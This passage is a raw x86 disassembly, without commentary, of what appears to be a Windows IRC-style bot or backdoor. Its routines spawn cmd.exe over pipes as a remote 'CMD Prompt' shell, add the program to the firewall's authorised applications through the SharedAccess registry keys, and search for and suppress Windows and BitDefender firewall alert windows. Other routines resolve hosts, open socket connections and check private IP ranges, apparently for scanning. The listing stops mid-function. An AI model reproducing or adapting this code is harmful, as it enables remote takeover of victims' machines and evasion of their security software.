		jz	loc_413D36
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60E0]
		push	esi
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_42F054	; ReadFile
		push	ebx
		call	sub_4241D4
		push	eax
		call	sub_4220EF
		push	14h
		lea	eax, [ebp+var_94]
		push	41h
		push	eax
		call	sub_4221F0
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	41h
		push	eax
		call	sub_4221F0
		add	esp, 20h
		call	sub_4220FC
		mov	esi, [ebp+arg_D8]
		mov	[ebp+var_94], eax
		mov	[ebp+var_88], edi
		mov	[ebp+var_8C], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_90], edi
		shl	esi, 2
		mov	[ebp+var_84], bx
		cmp	byte_43D86C[esi], bl
		jz	short loc_413CD7
		push	4
		mov	[ebp+var_20], edi
		mov	[ebp+var_28], edi
		push	offset dword_455610
		jmp	short loc_413CEF
; ---------------------------------------------------------------------------


loc_413CD7:				; CODE XREF: sub_41391C+3AAj
		cmp	byte_43D86D[esi], bl
		jz	short loc_413CFE
		push	2
		pop	eax
		push	4
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], eax
		push	offset loc_43C83C


loc_413CEF:				; CODE XREF: sub_41391C+3B9j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_24], ebx
		push	eax
		call	sub_4223F0
		add	esp, 0Ch


loc_413CFE:				; CODE XREF: sub_41391C+3C1j
		call	sub_4220FC
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_2C], edx
		call	sub_4220FC
		cdq
		idiv	edi
		mov	eax, dword_43D860[esi]
		mov	[ebp+var_14], ebx
		push	eax
		mov	[ebp+var_4], eax
		inc	edx
		mov	[ebp+var_18], edx
		call	sub_422F79
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_413D44


loc_413D36:				; CODE XREF: sub_41391C+32Cj
		push	dword ptr [ebp+var_C+4]
		call	dword_42F038	; CloseHandle
		jmp	loc_41403F
; ---------------------------------------------------------------------------


loc_413D44:				; CODE XREF: sub_41391C+418j
		mov	eax, [ebp+var_4]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_4221F0
		mov	eax, [ebp+var_4]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_4221F0
		mov	eax, dword_43D868[esi]
		push	7
		add	eax, edi
		push	offset dword_43D854
		push	eax
		mov	[ebp+arg_D8], eax
		call	sub_4223F0
		push	dword_43D888
		mov	eax, [ebp+arg_D8]
		add	eax, 7
		push	offset dword_432980
		push	eax
		call	sub_4223F0
		mov	eax, dword_43D864[esi]
		add	esp, 30h
		cmp	byte_43D86C[esi], bl
		mov	[ebp+arg_D8], eax
		jz	short loc_413E0E
		push	4
		add	eax, edi
		push	offset dword_455A9C
		push	eax
		call	sub_4223F0
		add	[ebp+arg_D8], 0Ch
		mov	esi, offset dword_43D884
		mov	eax, [ebp+arg_D8]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_4223F0
		mov	eax, [ebp+arg_D8]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_D8], eax
		call	sub_4223F0
		mov	eax, [ebp+arg_D8]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_4223F0
		add	esp, 30h
		jmp	short loc_413E47
; ---------------------------------------------------------------------------


loc_413E0E:				; CODE XREF: sub_41391C+494j
		cmp	byte_43D86D[esi], bl
		jz	short loc_413E47
		add	eax, edi
		mov	dword ptr [ebp+var_C], 10h
		mov	[ebp+arg_D8], eax
		mov	esi, offset dword_43D884


loc_413E2A:				; CODE XREF: sub_41391C+529j
		push	4
		push	esi
		push	[ebp+arg_D8]
		call	sub_4223F0
		add	[ebp+arg_D8], 4
		add	esp, 0Ch
		dec	dword ptr [ebp+var_C]
		jnz	short loc_413E2A


loc_413E47:				; CODE XREF: sub_41391C+4F0j
					; sub_41391C+4F8j
		mov	eax, [ebp+var_4]
		add	eax, 42h
		push	eax
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword ptr [ebp+var_C], esi
		jnz	short loc_413E72
		push	dword ptr [ebp+var_C+4]
		call	dword_42F038	; CloseHandle
		push	edi
		call	sub_4230B3
		pop	ecx
		jmp	loc_41403F
; ---------------------------------------------------------------------------


loc_413E72:				; CODE XREF: sub_41391C+53Fj
		mov	eax, [ebp+var_4]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_4221F0
		lea	eax, [ebp+var_94]
		push	14h
		push	eax
		push	esi
		call	sub_4223F0
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_6C+4], ebx
		mov	dword ptr [ebp+var_6C],	eax
		add	esp, 10h
		fild	[ebp+var_6C]
		fmul	flt_42F31C
		fstp	[esp+0Ch+var_C]
		call	sub_4242B0
		call	sub_4234BC
		push	[ebp+var_4]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	sub_4223F0
		mov	eax, [ebp+var_4]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_D8], eax
		jz	short loc_413EE5


loc_413EDA:				; CODE XREF: sub_41391C+5C1j
		inc	eax
		test	al, 3
		jnz	short loc_413EDA
		mov	[ebp+arg_D8], eax


loc_413EE5:				; CODE XREF: sub_41391C+5BCj
		lea	ecx, [ebp+var_2C]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_4223F0
		add	[ebp+arg_D8], 1Ch
		push	edi
		call	sub_4230B3
		push	18h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_4221F0
		push	14h
		lea	eax, [ebp+var_80]
		push	ebx
		push	eax
		mov	[ebp+var_44], 5
		mov	[ebp+var_43], bl
		mov	[ebp+var_42], bl
		mov	[ebp+var_41], 3
		mov	[ebp+var_40], 10h
		mov	[ebp+var_3A], bx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_30], bx
		mov	[ebp+var_2E], 1Fh
		call	sub_4221F0
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_42F094	; CreateEventA
		mov	[ebp+var_70], eax
		mov	[ebp+var_4], ebx
		jmp	short loc_413F57
; ---------------------------------------------------------------------------


loc_413F54:				; CODE XREF: sub_41391C+679j
					; sub_41391C+6B9j
		mov	esi, dword ptr [ebp+var_C]


loc_413F57:				; CODE XREF: sub_41391C+636j
		cmp	[ebp+var_4], 2
		jge	loc_414023
		push	1
		push	10B8h
		push	[ebp+arg_D8]
		inc	[ebp+var_4]
		push	esi
		lea	esi, [ebp+var_44]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+var_C+4]
		rep movsd
		call	sub_41382E
		add	esp, 2Ch
		test	al, al
		jz	loc_414020
		cmp	[ebp+var_70], ebx
		jz	short loc_413F54
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_60E0]
		push	2000h
		push	eax
		push	dword ptr [ebp+var_C+4]
		call	dword_42F054	; ReadFile
		test	eax, eax
		jnz	short loc_413FC5
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	short loc_41403F


loc_413FC5:				; CODE XREF: sub_41391C+69Aj
		push	64h
		push	[ebp+var_70]
		call	dword_42F064	; WaitForSingleObject
		cmp	eax, 102h
		jnz	loc_413F54
		movzx	eax, word_439014
		push	eax
		lea	esi, [ebp+arg_8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401160
		add	esp, 0D4h
		push	7D0h
		call	dword_42F15C	; Sleep
		mov	eax, [ebp+arg_C0]
		lea	eax, [eax+eax*8]
		lea	eax, ds:432090h[eax*8]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_414041
; ---------------------------------------------------------------------------


loc_414020:				; CODE XREF: sub_41391C+670j
		mov	esi, dword ptr [ebp+var_C]


loc_414023:				; CODE XREF: sub_41391C+63Fj
		push	dword ptr [ebp+var_C+4]
		mov	edi, dword_42F038
		call	edi ; dword_42F038
		push	esi
		call	sub_4230B3
		cmp	[ebp+var_70], ebx
		pop	ecx
		jz	short loc_41403F
		push	[ebp+var_70]
		call	edi ; dword_42F038


loc_41403F:				; CODE XREF: sub_41391C+256j
					; sub_41391C+423j ...
		xor	eax, eax


loc_414041:				; CODE XREF: sub_41391C+702j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41391C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+10h]
		push	ebx
		push	eax
		call	sub_401AB3
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_414063


loc_41405F:				; CODE XREF: .text:00414066j
		push	0
		jmp	short loc_41406E
; ---------------------------------------------------------------------------


loc_414063:				; CODE XREF: .text:0041405Dj
		cmp	eax, 2
		jz	short loc_41405F
		cmp	eax, 3
		jnz	short loc_414097
		push	ebx


loc_41406E:				; CODE XREF: .text:00414061j
		sub	esp, 0D0h
		lea	esi, [ebp+10h]
		push	34h
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp+0Ch]
		rep movsd
		push	dword ptr [ebp+8]
		call	sub_41391C
		add	esp, 0DCh
		test	eax, eax
		jz	short loc_414097
		mov	eax, ebx
		jmp	short loc_414099
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: .text:0041406Bj
					; .text:00414091j
		xor	eax, eax


loc_414099:				; CODE XREF: .text:00414095j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41409E	proc near		; CODE XREF: sub_401477+56p
					; sub_403B2C+2121p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_4220FC
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		inc	eax
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_42F320
		call	sub_4234BC
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41409E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140CF	proc near		; CODE XREF: sub_401AB3+AAp
					; .text:0040B805p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_45434C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_4140F7
		push	[esp+arg_0]
		call	dword_454398	; gethostbyname
		test	eax, eax
		jnz	short loc_4140F0
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4140F0:				; CODE XREF: sub_4140CF+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_4140F7:				; CODE XREF: sub_4140CF+Dj
		retn
sub_4140CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140F8	proc near		; DATA XREF: sub_41A1C8+4Co

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41EF08
		mov	esi, offset a@	; "@"
		push	esi
		push	[ebp+var_4]
		call	sub_422248
		push	esi
		push	0
		call	sub_422248
		push	eax
		call	sub_4140CF
		add	esp, 20h
		mov	[ebp+arg_0], eax
		push	eax
		call	dword_45439C	; inet_ntoa
		push	eax
		push	offset dword_4552D0
		call	dword_42F04C	; lstrcpyA
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_4542C0	; gethostbyaddr
		pop	esi
		test	eax, eax
		push	9Fh
		jz	short loc_41415D
		push	dword ptr [eax]
		jmp	short loc_414162
; ---------------------------------------------------------------------------


loc_41415D:				; CODE XREF: sub_4140F8+5Fj
		push	offset aCouldnTResolve ; "Couldn't resolve"


loc_414162:				; CODE XREF: sub_4140F8+63j
		push	offset dword_4552E8
		call	sub_4222F0
		add	esp, 0Ch
		xor	eax, eax
		leave
		retn
sub_4140F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414173	proc near		; CODE XREF: sub_401160+D2p
					; sub_403B2C+1D0Bp ...

var_30		= byte ptr -30h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		cmp	[ebp+arg_0], 0
		push	esi
		push	edi
		jz	loc_41426B
		push	offset byte_44D6A4
		push	[ebp+arg_0]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41426B
		push	20h
		lea	eax, [ebp+var_30]
		push	[ebp+arg_0]
		push	eax
		call	sub_4222F0
		mov	esi, offset a__0 ; "."
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_422248
		add	esp, 14h
		mov	[ebp+var_10], eax
		test	eax, eax
		jz	loc_41426B
		xor	edi, edi
		inc	edi


loc_4141CA:				; CODE XREF: sub_414173+71j
		push	esi
		push	0
		call	sub_422248
		pop	ecx
		mov	[ebp+edi*4+var_10], eax
		test	eax, eax
		pop	ecx
		jz	loc_41426B
		inc	edi
		cmp	edi, 4
		jl	short loc_4141CA
		mov	esi, [ebp+var_10]
		push	offset a10	; "10"
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414266
		push	offset a172	; "172"
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41421E
		push	offset a16	; "16"
		push	[ebp+var_C]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414266


loc_41421E:				; CODE XREF: sub_414173+96j
		push	offset a192	; "192"
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414242
		push	offset a168	; "168"
		push	[ebp+var_C]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414266


loc_414242:				; CODE XREF: sub_414173+BAj
		push	offset a90	; "90"
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41426B
		push	offset a0	; "0"
		push	[ebp+var_C]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41426B


loc_414266:				; CODE XREF: sub_414173+85j
					; sub_414173+A9j ...
		xor	eax, eax
		inc	eax
		jmp	short loc_41426D
; ---------------------------------------------------------------------------


loc_41426B:				; CODE XREF: sub_414173+Cj
					; sub_414173+23j ...
		xor	eax, eax


loc_41426D:				; CODE XREF: sub_414173+F6j
		pop	edi
		pop	esi
		leave
		retn
sub_414173	endp


; =============== S U B	R O U T	I N E =======================================



sub_414271	proc near		; CODE XREF: sub_40C847+4D0p
					; sub_40C847+515p ...
		xor	ax, ax
		retn
sub_414271	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414275	proc near		; CODE XREF: sub_4033F0+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	dword_454394	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4142D7
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_454314	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4140CF
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4542AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4142DC
		push	esi
		call	dword_4543AC	; closesocket


loc_4142D7:				; CODE XREF: sub_414275+18j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4142DE
; ---------------------------------------------------------------------------


loc_4142DC:				; CODE XREF: sub_414275+59j
		mov	eax, esi


loc_4142DE:				; CODE XREF: sub_414275+65j
		pop	esi
		leave
		retn
sub_414275	endp


; =============== S U B	R O U T	I N E =======================================



sub_4142E1	proc near		; CODE XREF: sub_414311+2Ap
					; sub_414349+59p ...
		mov	eax, dword_455EC0
		push	esi
		mov	esi, dword_42F038
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4142F5
		push	eax
		call	esi ; dword_42F038


loc_4142F5:				; CODE XREF: sub_4142E1+Fj
		mov	eax, dword_455ED8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414302
		push	eax
		call	esi ; dword_42F038


loc_414302:				; CODE XREF: sub_4142E1+1Cj
		mov	eax, dword_455EB8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41430F
		push	eax
		call	esi ; dword_42F038


loc_41430F:				; CODE XREF: sub_4142E1+29j
		pop	esi
		retn
sub_4142E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414311	proc near		; CODE XREF: sub_403B2C+3D3Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_422120
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_455ED4
		call	dword_42F07C	; WriteFile
		test	eax, eax
		jnz	short loc_414344
		call	sub_4142E1
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_414344:				; CODE XREF: sub_414311+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_414311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414349	proc near		; CODE XREF: sub_4143AB+DBp
					; sub_4143AB+FAp ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4220C0
		push	offset byte_44D6A4
		push	[ebp+arg_0]
		call	dword_42F0A8	; lstrcmpA
		test	eax, eax
		jz	short loc_41438B
		push	1F4h
		call	dword_42F15C	; Sleep
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 10h
		jmp	short loc_4143A7
; ---------------------------------------------------------------------------


loc_41438B:				; CODE XREF: sub_414349+1Dj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1000]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		call	sub_4142E1


loc_4143A7:				; CODE XREF: sub_414349+40j
		xor	eax, eax
		leave
		retn
sub_414349	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143AB	proc near		; DATA XREF: sub_414508+177o

var_100C	= byte ptr -100Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		mov	esi, 1000h
		xor	edi, edi
		mov	ebx, offset dword_455EF0


loc_4143C7:				; CODE XREF: sub_4143AB+7Dj
					; sub_4143AB+E3j
		push	esi
		lea	eax, [ebp+var_100C]
		push	edi
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_100C]
		push	esi
		push	eax
		push	dword_455EC0
		call	dword_42F0B0	; PeekNamedPipe
		test	eax, eax
		jz	loc_414499
		cmp	[ebp+var_4], edi
		jnz	short loc_41442A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_455EB8
		call	dword_42F0AC	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_414420
		cmp	[ebp+var_8], 103h
		jnz	loc_4144BD


loc_414420:				; CODE XREF: sub_4143AB+66j
		push	0Ah
		call	dword_42F15C	; Sleep
		jmp	short loc_4143C7
; ---------------------------------------------------------------------------


loc_41442A:				; CODE XREF: sub_4143AB+52j
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_414441


loc_414431:				; CODE XREF: sub_4143AB+94j
		cmp	[ebp+eax+var_100C], 0Ah
		jz	short loc_414493
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_414431


loc_414441:				; CODE XREF: sub_4143AB+84j
		mov	[ebp+var_4], 200h


loc_414448:				; CODE XREF: sub_4143AB+ECj
		push	esi
		lea	eax, [ebp+var_100C]
		push	edi
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_100C]
		push	eax
		push	dword_455EC0
		call	dword_42F054	; ReadFile
		test	eax, eax
		jz	short loc_4144E5
		lea	eax, [ebp+var_100C]
		push	eax
		push	dword_455EDC
		push	ebx
		call	sub_414349
		add	esp, 0Ch
		jmp	loc_4143C7
; ---------------------------------------------------------------------------


loc_414493:				; CODE XREF: sub_4143AB+8Ej
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_414448
; ---------------------------------------------------------------------------


loc_414499:				; CODE XREF: sub_4143AB+49j
		push	offset aCouldNotReadDa ; "Could	not read data from proccess.\r\n"
		push	dword_455EDC
		push	ebx
		call	sub_414349
		push	[ebp+arg_0]
		call	sub_41C059
		add	esp, 10h
		push	1
		call	dword_42F150	; ExitThread


loc_4144BD:				; CODE XREF: sub_4143AB+6Fj
		call	sub_4142E1
		push	offset aProccessTermin ; "Proccess terminated.\r\n"
		push	dword_455EDC
		push	ebx
		call	sub_414349
		push	[ebp+arg_0]
		call	sub_41C059
		add	esp, 10h
		push	edi
		call	dword_42F150	; ExitThread


loc_4144E5:				; CODE XREF: sub_4143AB+CBj
		push	offset aCouldNotReadDa ; "Could	not read data from proccess.\r\n"
		push	dword_455EDC
		push	ebx
		call	sub_414349
		push	[ebp+arg_0]
		call	sub_41C059
		add	esp, 10h
		push	edi
		call	dword_42F150	; ExitThread
sub_4143AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414508	proc near		; CODE XREF: sub_403B2C+3C2Cp

var_1174	= byte ptr -1174h
var_174		= byte ptr -174h
var_70		= dword	ptr -70h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1174h
		call	sub_4220C0
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	dword_455EDC, eax
		call	sub_4142E1
		xor	esi, esi
		lea	eax, [ebp+var_174]
		push	esi
		push	eax
		push	104h
		mov	edi, offset aCmd_exe ; "cmd.exe"
		push	esi
		push	edi
		push	esi
		call	dword_4543D4	; SearchPathA
		test	eax, eax
		jz	loc_414608
		lea	eax, [ebp+var_18]
		mov	ebx, dword_42F0B8
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[ebp+var_18], 0Ch
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_10], 1
		mov	[ebp+var_14], esi
		call	ebx ; dword_42F0B8
		test	eax, eax
		jz	loc_414608
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ebx ; dword_42F0B8
		test	eax, eax
		jz	short loc_414608
		mov	ebx, dword_42F040
		push	3
		push	esi
		push	esi
		push	offset dword_455ED4
		call	ebx ; dword_42F040
		push	eax
		push	[ebp+var_4]
		call	ebx ; dword_42F040
		push	eax
		call	dword_42F0B4	; DuplicateHandle
		test	eax, eax
		jz	short loc_414608
		push	10h
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		call	sub_4221F0
		push	44h
		lea	eax, [ebp+var_70]
		pop	ebx
		push	ebx
		push	esi
		push	eax
		call	sub_4221F0
		mov	eax, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_28]
		mov	[ebp+var_70], ebx
		push	eax
		lea	eax, [ebp+var_70]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_174]
		push	edi
		push	eax
		mov	[ebp+var_44], 101h
		mov	[ebp+var_40], si
		call	dword_42F078	; CreateProcessA
		test	eax, eax
		jnz	short loc_414610


loc_414608:				; CODE XREF: sub_414508+3Cj
					; sub_414508+6Aj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_4146B4
; ---------------------------------------------------------------------------


loc_414610:				; CODE XREF: sub_414508+FEj
		push	[ebp+arg_4]
		mov	edi, dword_42F038
		call	edi ; dword_42F038
		mov	eax, [ebp+var_C]
		push	[ebp+var_24]
		mov	dword_455EC0, eax
		mov	eax, [ebp+var_4]
		mov	dword_455ED8, eax
		mov	eax, [ebp+var_28]
		mov	dword_455EB8, eax
		call	edi ; dword_42F038
		cmp	[ebp+arg_0], esi
		jz	short loc_414642
		push	[ebp+arg_0]
		jmp	short loc_414647
; ---------------------------------------------------------------------------


loc_414642:				; CODE XREF: sub_414508+133j
		push	offset byte_44D6A4


loc_414647:				; CODE XREF: sub_414508+138j
		push	offset dword_455EF0
		call	sub_422063
		pop	ecx
		mov	ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr."
		pop	ecx
		push	ebx
		push	offset aSCmdPrompt ; "%s CMD Prompt"
		push	0Ah
		call	sub_41BED7
		mov	edi, eax
		mov	ecx, [ebp+var_20]
		imul	edi, 1018h
		add	esp, 0Ch
		mov	dword_46D410[edi], ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	esi
		push	eax
		push	offset sub_4143AB
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		cmp	eax, esi
		mov	dword_46D414[edi], eax
		jnz	short loc_4146B2
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	ebx
		lea	eax, [ebp+var_1174]
		push	offset aSFailedToSta_5 ; "%s Failed to start IO	thread,	error: <%"...
		push	eax
		call	sub_422063
		add	esp, 10h


loc_4146B2:				; CODE XREF: sub_414508+18Cj
		xor	eax, eax


loc_4146B4:				; CODE XREF: sub_414508+103j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414508	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146B9	proc near		; CODE XREF: sub_412267+3FCp

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	esi, offset loc_439030
		push	edi
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	eax, [ebp+var_404]
		push	offset aEnabled	; ":*:Enabled:"
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_404]
		push	offset aSystem_0 ; "SYSTEM"
		push	eax
		call	sub_423270
		mov	edi, dword_42F008
		add	esp, 10h
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSystemCurren_3 ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	edi ; dword_42F008
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_422120
		pop	ecx
		mov	ebx, dword_42F00C
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	1
		push	0
		push	esi
		push	[ebp+var_4]
		call	ebx ; dword_42F00C
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSystemCurren_4 ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	edi ; dword_42F008
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	1
		push	0
		push	esi
		push	[ebp+var_4]
		call	ebx ; dword_42F00C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4146B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41477A	proc near		; DATA XREF: sub_412267+418o
		push	ebx
		mov	ebx, dword_42F15C
		push	ebp
		push	esi
		xor	ebp, ebp


loc_414785:				; CODE XREF: sub_41477A+33j
		push	offset aWindowsSecurit ; "Windows Security Alert"
		push	ebp
		call	dword_45431C	; FindWindowA
		mov	esi, eax
		cmp	esi, ebp
		jnz	short loc_4147AF
		push	offset aBitdefenderFir ; "BitDefender Firewall Alert"
		push	ebp
		call	dword_45431C	; FindWindowA
